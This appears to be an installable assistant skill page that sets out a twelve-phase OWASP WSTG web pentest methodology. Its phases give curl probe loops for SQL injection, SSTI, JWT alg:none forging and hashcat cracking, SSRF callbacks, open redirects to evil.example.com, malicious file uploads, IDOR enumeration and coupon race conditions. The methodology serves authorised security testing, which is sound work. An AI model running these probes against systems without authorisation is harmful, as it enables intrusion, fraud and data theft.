Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase.
Full OWASP WSTG-aligned testing methodology. Each phase maps to a WSTG
category and provides concrete commands, expected outputs, pitfalls, and
verification criteria.
Verification: Confirm framework fingerprint with at least two signals: a
header, a cookie name (e.g. laravel_session, JSESSIONID), a path pattern
(/wp-content/, /_next/), or a unique error page.
Pitfalls: A 200 response with a generic shell or redirect is not a config
leak. Always inspect the body.
Verification: Body contains configuration keys, database credentials,
API keys, or environment variables.
2.3 File Extensions (WSTG-CONF-03)
# Check how the server handles backup and alternate extensionsfor ext in bak old backup orig save swp tmp ~; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}/index.html.${ext}" 2>/dev/null)
[ "$code" != "404" ] && echo"[*] index.html.${ext}: $code"sleep 1
done
# Test if lower-privilege user can access admin endpointsfor path in /admin /admin/users /api/admin /manage /settings/admin; do
code=$(curl -sS --max-time 10 "https://${TARGET}${path}" \
-H 'Authorization: Bearer USER_A_TOKEN' -o /dev/null -w '%{http_code}\n' 2>/dev/null)
echo"$path: $code"sleep 1
done# Test role parameter manipulation
curl -sS --max-time 10 -X PATCH "https://${TARGET}/api/user/profile" \
-H 'Authorization: Bearer USER_A_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"role":"admin"}' 2>/dev/null
5.4 Insecure Direct Object References (WSTG-ATHZ-04)
# After observing an object ID pattern, test sequential access
BASE_ID=100
for i in $(seq 0 5); do
ID=$((BASE_ID + i))
code=$(curl -sS --max-time 10 \
"https://${TARGET}/api/objects/${ID}" \
-H 'Authorization: Bearer USER_A_TOKEN' \
-sS -o /dev/null -w '%{http_code}' 2>/dev/null)
body_len=$(curl -sS --max-time 10 \
"https://${TARGET}/api/objects/${ID}" \
-H 'Authorization: Bearer USER_A_TOKEN' 2>/dev/null | wc -c)
echo"ID $ID: $code ($body_len bytes)"sleep 1
done
Verification: User A receives data from an object belonging to User B,
confirmed by comparing content, owner fields, or tenant identifiers. Need
both identities for proof.
Verification: Session is invalidated after logout (returns 302 or 401, not
200 with authenticated content).
6.7 Session Timeout (WSTG-SESS-07)
Document the idle timeout and absolute timeout. Check if "remember me" extends
the absolute timeout.
6.10 JWT Testing (WSTG-SESS-10)
# Decode a JWT without verification
jwt_token="<captured_jwt>"echo"$jwt_token" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Test alg:none
header=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0)
payload=$(echo"$jwt_token" | cut -d. -f2)
echo"${header}.${payload}." | sed 's/=//g'# Test weak HMAC secret
hashcat -m 16500 "$jwt_token" /usr/share/wordlists/rockyou.txt --quiet 2>/dev/null
Pitfalls: JWT decoding is not a finding. The finding is: the server accepts
alg:none, accepts a symmetric key when RS256/ES256 is expected, or uses a
guessable secret.
Phase 7: Input Validation (WSTG-INPV-01 through INPV-22)
7.1 Reflected XSS (WSTG-INPV-01)
# Test every parameter with a benign probe firstfor param in q search query id page name email message comment; do
code=$(curl -sS --max-time 10 \
"https://${TARGET}/search?${param}=<xss%20id=xss>" \
-o /dev/null -w '%{http_code}' 2>/dev/null)
echo"$param: $code"sleep 1
done# Check reflection in response body
curl -sS --max-time 10 "https://${TARGET}/search?q=xssreflectiontest" 2>/dev/null \
| grep -o 'xssreflectiontest'
Pitfalls: WAF may block obvious probes. Start with unique benign strings
and check reflection before moving to payloads. An encoded reflection in an
attribute context requires a different payload than a raw HTML context.
7.2 Stored XSS (WSTG-INPV-02)
Test every input that persists: comments, profiles, messages, support tickets.
Verify in a second session (different browser/incognito) that the stored
payload renders for another user.
7.3 HTTP Verb Tampering (WSTG-INPV-03)
# Try bypassing restrictions by changing the HTTP methodfor method in GET POST PUT PATCH DELETE HEAD OPTIONS; do
code=$(curl -sS --max-time 10 -X "$method" \
"https://${TARGET}/api/admin/users" \
-H 'Authorization: Bearer USER_A_TOKEN' \
-o /dev/null -w '%{http_code}\n' 2>/dev/null)
echo"$method: $code"sleep 1
done
7.5 SQL Injection (WSTG-INPV-05)
# Detect with benign probes firstfor payload in"'""\"""')"'"))'"1' OR '1'='1""1 OR 1=1"; do
code=$(curl -sS --max-time 10 \
"https://${TARGET}/product?id=${payload}" \
-o /dev/null -w '%{http_code}' 2>/dev/null)
echo"$payload: $code"sleep 1
done# Time-based blind testfor db in"pg_sleep(5)""sleep(5)""WAITFOR DELAY '0:0:5'"; dotime curl -sS --max-time 15 \
"https://${TARGET}/product?id=1%3B${db}%3B--" \
-o /dev/null 2>/dev/null
sleep 1
done
Pitfalls: Time-based tests are noisy. A 5-second delay in a fast response
is a strong signal; a 200ms variance is not. Error-based tests require
understanding the DBMS error format.
Verification: Confirmed data extraction (database names, table names,
row counts) through error-based, union-based, or blind channels. A single
error message is a lead, not a finding.
Verification: Host header is reflected in password reset links, absolute
URLs in response bodies, or redirects. Reflection in a header alone is not
exploitable.
7.18 SSTI (WSTG-INPV-18)
# Template engine detection probes — run these against every reflected parameterfor probe in'{{7*7}}''${7*7}''<%=7*7%>''#{7*7}''{{7*\'7\'}}' \
'${{7*7}}' '@(7*7)'; do
resp=$(curl -sS --max-time 10 \
"https://${TARGET}/?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('''$probe'''))")" \
2>/dev/null)
echo "$resp" | grep -q '49' && echo "[!] SSTI confirmed: $probe returned 49 in $resp"
sleep 1
done
7.19 SSRF (WSTG-INPV-19)
# Use an OOB Collaborator / Burp Collaborator / interactsh
CALLBACK="your-id.oastify.com"# Test URL parameters that fetch external resourcesfor param in url uri path redirect callback webhook src proxy file image \
avatar import fetch download; do
curl -sS --max-time 10 \
"https://${TARGET}/fetch?${param}=http://${CALLBACK}" \
-o /dev/null -w '%{http_code}\n' 2>/dev/null
sleep 1
done# Test request body JSON
curl -sS --max-time 10 -X POST "https://${TARGET}/api/import" \
-H 'Content-Type: application/json' \
-d "{\"url\":\"http://${CALLBACK}\"}" \
-o /dev/null -w '%{http_code}\n' 2>/dev/null
Pitfalls: A DNS callback from a CDN or webhook validation service does not
prove the target made the request. Check the User-Agent, source IP, and timing.
Verification: Confirmed callback with identifying information (source IP,
User-Agent, or path unique to the target). For cloud metadata access, confirmed
retrieval of credentials or instance data.
# Test for padding oracle in encrypted cookies or tokens# Requires specialized tools: padbuster, padding-oracle-attacker# This is a detection probe, not a full exploit
code_ok=$(curl -sS --max-time 10 "https://${TARGET}/" \
-H 'Cookie: session=VALID_ENCRYPTED_COOKIE' \
-o /dev/null -w '%{http_code}' 2>/dev/null)
code_bad=$(curl -sS --max-time 10 "https://${TARGET}/" \
-H 'Cookie: session=MODIFIED_LAST_BYTE' \
-o /dev/null -w '%{http_code}' 2>/dev/null)
echo"Valid: $code_ok, Modified: $code_bad"
Pitfalls: A different response code does not automatically indicate a
padding oracle. You need to systematically flip bytes and observe consistent
padding-error vs data-error behavior.
9.3 Unencrypted Channels (WSTG-CRYP-03)
# Check if the site is available over HTTP
code=$(curl -sS --max-time 10 "http://${TARGET}/" -o /dev/null -w '%{http_code}' 2>/dev/null)
echo"HTTP: $code"# Check for mixed content on the HTTPS version
curl -sS --max-time 10 "https://${TARGET}/" 2>/dev/null \
| grep -oPi '(src|href)=["\x27]http://[^"\x27]*["\x27]'
9.4 Weak Cryptographic Primitives (WSTG-CRYP-04)
Inspect any observed cryptographic values: tokens, cookies, API keys, password
hashes. Check for:
MD5 or SHA1 in security contexts
ECB mode in encrypted tokens
Hardcoded keys or IVs
Predictable random values (timestamps, sequential counters)
Phase 10: Business Logic (WSTG-BUSL-01 through BUSL-10)
10.1 Data Validation (WSTG-BUSL-01)
# Negative quantity in cart
curl -sS --max-time 10 -X POST "https://${TARGET}/cart/add" \
-H 'Content-Type: application/json' \
-d '{"product_id":1,"quantity":-1}' 2>/dev/null
# Zero or negative price
curl -sS --max-time 10 -X POST "https://${TARGET}/checkout" \
-H 'Content-Type: application/json' \
-d '{"items":[{"product_id":1,"price":0.01,"quantity":1}]}' 2>/dev/null
10.2 Forge Requests (WSTG-BUSL-02)
# Check if signed values (coupons, discounts) can be modified# Try changing a coupon code parameter
curl -sS --max-time 10 -X POST "https://${TARGET}/checkout/apply-coupon" \
-H 'Content-Type: application/json' \
-d '{"coupon":"FREE100"}' 2>/dev/null
10.3 Integrity Checks (WSTG-BUSL-03)
Inspect whether price, quantity, and discount values in requests are
validated against server-side values. Modify them in transit and observe.
10.4 Process Timing (WSTG-BUSL-04)
# Race condition: apply coupon multiple times simultaneouslyfor i in $(seq 1 5); do
curl -sS --max-time 10 -X POST "https://${TARGET}/cart/apply-coupon" \
-H 'Content-Type: application/json' \
-d '{"coupon":"LIMITED10"}' -o /dev/null -w '%{http_code} ' 2>/dev/null &
done; wait; echo
10.6 Circumvent Workflows (WSTG-BUSL-06)
# Skip checkout steps by accessing later URLs directlyfor step in /checkout/payment /checkout/confirm /checkout/complete /order/place; do
code=$(curl -sS --max-time 10 "https://${TARGET}${step}" \
-H 'Cookie: session=VALID_SESSION' \
-o /dev/null -w '%{http_code}\n' 2>/dev/null)
echo"$step: $code"sleep 1
done
10.8/10.9 File Upload (WSTG-BUSL-08/09)
# Test accepted file typesecho'<?php phpinfo(); ?>' > /tmp/test.php
echo'<script>alert(1)</script>' > /tmp/test.html
echo'<svg/onload=alert(1)>' > /tmp/test.svg
for file in /tmp/test.php /tmp/test.html /tmp/test.svg; do
code=$(curl -sS --max-time 10 -X POST "https://${TARGET}/upload" \
-F "file=@${file}" -o /dev/null -w '%{http_code}\n' 2>/dev/null)
echo"$(basename $file): $code"sleep 1
done
Pitfalls: File upload tests are state-changing. Only test on scope-approved
endpoints with inert content. Remove uploaded files afterward when possible.
Verification: Uploaded file is accessible and executes (PHP, JSP) or
renders (HTML, SVG) when requested through its URL.
Phase 11: Client-side Testing (WSTG-CLNT-01 through CLNT-15)
11.1 DOM XSS (WSTG-CLNT-01)
Use browser DevTools to trace data flow from source (URL, postMessage,
localStorage, document.cookie) to sink (innerHTML, document.write, eval,
location). Check for missing sanitization at each sink.
11.4 Client-side Redirect (WSTG-CLNT-04)
# Test URL parameters that may trigger client-side redirectfor param in redirect url next return_to goto target callback; do
curl -sS --max-time 10 \
"https://${TARGET}/login?${param}=https://evil.example.com" \
-o /dev/null -w '%{redirect_url}\n' 2>/dev/null
sleep 1
done
11.5 CSS Injection (WSTG-CLNT-05)
Injected CSS can exfiltrate data character-by-character via attribute
selectors and background-image URLs. Test inputs that appear in style
attributes or <style> blocks.
Inspect localStorage, sessionStorage, IndexedDB, and cookies for sensitive
data: tokens, API keys, PII, internal hostnames, feature flags that expose
unreleased functionality.
Phase 12: API Testing (WSTG-APIT-01 through APIT-99)
See Phase 5.4 (IDOR). Test every object endpoint with two identities.
12.3 Excessive Data Exposure (WSTG-APIT-03)
For each API endpoint, compare the response fields between:
# Full response (as authenticated user)
curl -sS --max-time 10 "https://${TARGET}/api/users/me" \
-H 'Authorization: Bearer USER_TOKEN' 2>/dev/null | python3 -m json.tool
# Does the response include password hashes, internal IDs, admin flags,# role definitions, or other fields not needed by the client?
12.4 Broken Function Level Authorization (WSTG-APIT-04)
# Try administrative API endpoints as a regular userfor endpoint in /api/admin /api/users /api/config /api/logs /api/health \
/api/metrics /api/system /api/internal; do
code=$(curl -sS --max-time 10 "https://${TARGET}${endpoint}" \
-H 'Authorization: Bearer REGULAR_USER_TOKEN' \
-o /dev/null -w '%{http_code}\n' 2>/dev/null)
echo"$endpoint: $code"sleep 1
done
A response code alone is not a finding. Verify body content.
Old version strings do not prove exploitability.
Automated scanners produce leads, not validated findings. Reproduce manually.
Authorization findings require at least two identities with known ownership.
WAF and rate limits may suppress probes. Vary timing and encoding.
Third-party and shared-provider hosts need ownership review before testing.
Do not infer a finding from a single response. Run positive and negative
controls.
Verification
For every reported finding, answer:
What security property failed? Name the expected behavior.
What did you observe? Include sanitized request and response.
What controls confirm it? Positive control (expected), negative control
(excluded), and boundary control (adjacent value).
What was NOT tested? Enumeration, production data, writes, persistence.
Is it reproducible? Document exact steps with timing.
Run the final quality gate:
[ ] reproduction and controls work as documented
[ ] impact matches evidence; untested steps labeled
[ ] credentials and PII removed
[ ] remediation addresses the failed security control
